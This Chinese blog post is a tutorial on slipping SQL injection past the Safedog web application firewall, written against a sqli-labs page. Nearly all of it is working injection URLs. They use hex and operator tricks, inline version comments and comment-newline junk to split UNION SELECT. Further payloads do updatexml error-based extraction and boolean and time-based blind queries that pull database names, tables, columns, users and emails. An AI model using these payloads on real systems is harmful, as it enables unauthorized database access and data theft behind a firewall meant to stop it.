Y4er的博客
归档 专栏 分类 标签 笔记 朋友
Y4er的博客

Bypass MySQL Safedog

 收录于  类别 bypass
     约 1238 字   预计阅读 3 分钟 
警告
本文最后更新于 2019-10-10，文中内容可能已过时。

日狗

安全狗不让基本运算符后跟数字字符串

特殊运算符绕

1
2
3
4

http://172.16.1.157/sql/Less-1/?id=1'and -1=-1 -- + 正常
http://172.16.1.157/sql/Less-1/?id=1'and -1=-2 -- + 不正常
http://172.16.1.157/sql/Less-1/?id=1'and ~1=~1 -- +	正常
http://172.16.1.157/sql/Less-1/?id=1'and ~1=~2 -- +	不正常

16进制绕

1
2
3
4
5
6

http://172.16.1.157/sql/Less-1/?id=1' and 0x0 <> 0x1-- +	正常
http://172.16.1.157/sql/Less-1/?id=1' and 0x0 <> 0x0-- +	不正常
http://172.16.1.157/sql/Less-1/?id=1' and 0x0 <=> 0x0-- +	正常
http://172.16.1.157/sql/Less-1/?id=1' and 0x0 <=> 0x1-- +	不正常
http://172.16.1.157/sql/Less-1/?id=1' and 0x0 xor 0x1-- +	正常
http://172.16.1.157/sql/Less-1/?id=1' and 0x0 xor 0x0-- +	不正常

BINARY绕

1
2

http://172.16.1.157/sql/Less-1/?id=1' and BINARY 1-- +	正常
http://172.16.1.157/sql/Less-1/?id=1' and BINARY 0-- +	不正常

conv()函数绕

1
2

http://172.16.1.157/sql/Less-1/?id=1' and CONV(1,11,2)-- +	正常
http://172.16.1.157/sql/Less-1/?id=1' and CONV(0,11,2)-- +	不正常

concat()函数绕

1
2

http://172.16.1.157/sql/Less-1/?id=1' and CONCAT(1)-- +		正常
http://172.16.1.157/sql/Less-1/?id=1' and CONCAT(0)-- +		不正常

绕order by

内联

1

http://172.16.1.157/sql/Less-1/?id=1'/*!14440order by*/ 3 -- +

注释换行

1

http://172.16.1.157/sql/Less-1/?id=1'order%23%0aby 3 -- +

关键在于打乱union select

内联

1

http://172.16.1.157/sql/Less-1/?id=-1' /*!14440union*//*!14440select */1,2,3 -- +

注释后跟垃圾字符换行

1

http://172.16.1.157/sql/Less-1/?id=-1'union%23hhh%0aselect 1,2,3--+

union distinct | distinctrow | all

1
2
3

http://172.16.1.157/sql/Less-1/?id=-1' union distinct %23%0aselect 1,2,3 -- +
http://172.16.1.157/sql/Less-1/?id=-1' union distinctrow %23%0aselect 1,2,3 -- +
http://172.16.1.157/sql/Less-1/?id=-1' union all%23%0aselect 1,2,3 -- +

接下来是查数据，我在这使用注释垃圾字符换行也就是%23a%0a的方法来绕，你可以用上面说的/*!14440*/内联

查当前数据库名

1

http://172.16.1.157/sql/Less-1/?id=-1' union %23chabug%0a select 1,database%23%0a(%0a),3 -- +

查其他库名 安全狗4.0默认没开information_schema防护的时候可以过，开了information_schema防护之后绕不过去，哭唧唧😭

1

http://172.16.1.157/sql/Less-1/?id=-1' union %23asdasdasd%0a select 1,(select schema_name from %23%0ainformation_schema.schemata  limit 1,1),3 -- +

查表名

1

http://172.16.1.157/sql/Less-1/?id=-1' union %23asdasdasd%0a select 1,(select table_name from %23%0ainformation_schema.tables where table_schema=database(%23%0a) limit 1,1),3 -- +

查列名，首先是没开information_schema防护时

1

http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0a select 1,(select column_name from %23%0a information_schema.columns where table_name=0x7573657273 and%23a%0a table_schema=database(%23%0a) limit 1,1),3 -- +

开information_schema防护有两种姿势，不过需要知道表名

一、子查询

1

http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0a SELECT 1,2,x.2 from %23a%0a(SELECT * from %23a%0a (SELECT 1)a, (SELECT 2)b union  %23a%0aSELECT *from  %23a%0aemails)x limit 2,1 -- +

二、用join和using爆列名，前提是页面可以报错，需要已知表名

1

http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0aSELECT 1,2,(select * from %23a%0a(select * from %23a%0aemails a join emails b) c) -- +

https://y4er.com/img/uploads/20191011213824.png

然后通过using来继续爆

1

http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0aSELECT 1,2,(select * from %23a%0a(select * from %23a%0aemails a join emails b using(id)) c) -- +

https://y4er.com/img/uploads/20191011213910.png

查数据

1

http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0aSELECT 1,2,(select email_id from%23a%0a emails limit 1,1) -- +

其实配合MySQL5.7的特性可以使用sys这个库来绕过，具体看chabug发的文章吧 注入bypass之捶狗开锁破盾

在下文中不再提及开启information_schema防护的绕过姿势，自行举一反三。

报错注入只提及updatexml报错

关键在于updatexml()结构打乱

1
2

and updatexml(1,1,1 	不拦截
and updatexml(1,1,1) 	拦截

不让updatexml匹配到两个括号就行了

用户名 库名

1
2

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,concat(0x7e,user(/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,concat(0x7e,database(/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

库名

1

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,`concat`(0x7e,(select schema_name from %23a%0a information_schema.schemata  limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

表名

1

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,`concat`(0x7e,(select table_name from %23a%0a information_schema.tables where table_schema=database(/*!)*/ limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

列名

1

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,`concat`(0x7e,(select column_name from %23a%0a information_schema.columns where table_schema=database(/*!)*/ and %23a%0atable_name=0x7573657273 limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

查数据

1

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,concat(0x7e,(select email_id from %23a%0a emails limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

分布尔盲注和时间盲注来说吧

不让他匹配完整括号对

使用left()或者right()

1
2

http://172.16.1.157/sql/Less-1/?id=1' and hex(LEFT(user(/*!)*/,1))=%23a%0a72 -- +
http://172.16.1.157/sql/Less-1/?id=1' and hex(right(user(/*!)*/,1))=%23a%0a72 -- +

使用substring() substr()

1
2

http://172.16.1.157/sql/Less-1/?id=1' and hex(SUBSTRING(user(/*!)*/,1,1))=72 -- +
http://172.16.1.157/sql/Less-1/?id=1' and hex(substr(user(/*!)*/,1,1))=72 -- +

查表名

1

http://172.16.1.157/sql/Less-1/?id=1' and hex(SUBSTR((select table_name from %23a%0a information_schema.tables where table_schema=%23a%0adatabase%23a%0a(/*!)*/ limit 0,1),1,1))=65-- +

列名字段名同理，略

不匹配成对括号

sleep()绕过

1

http://172.16.1.157/sql/Less-1/?id=1' and sleep(3/*!)*/-- +

查用户

1
2

http://172.16.1.157/sql/Less-1/?id=1'  and if%23%0a(left(user(/*!)*/,1/*!)*/=char(114),sleep(3/*!)*/,1/*!)*/ -- +
http://172.16.1.157/sql/Less-1/?id=1'  and if%23%0a(left(user(/*!)*/,1/*!)*/=0x72,sleep(3/*!)*/,1/*!)*/ -- +

查数据 limit过不了

1

http://172.16.1.157/sql/Less-1/?id=1'  and if%23%0a(left((select group_concat(table_name/*!)*/ from%23a%0ainformation_schema.tables where table_schema=database(/*!)*/ /*!)*/,1/*!)*/=0x65,sleep(5/*!)*/,1/*!)*/ -- +

length()长度

1
2

http://172.16.1.157/sql/Less-1/?id=1' and length(1)<=>1 -- +
http://172.16.1.157/sql/Less-1/?id=1'  and length(database(/*!))*/<=>8 -- +

count()

1

http://172.16.1.157/sql/Less-1/?id=1'  and  (%23a%0aselect count(password/*!)*/ from %23a%0a users/*!)*/<=>13 -- +

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI

https://www.chabug.org/web/1019.html

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。

更新于 2019-10-10
返回 | 主页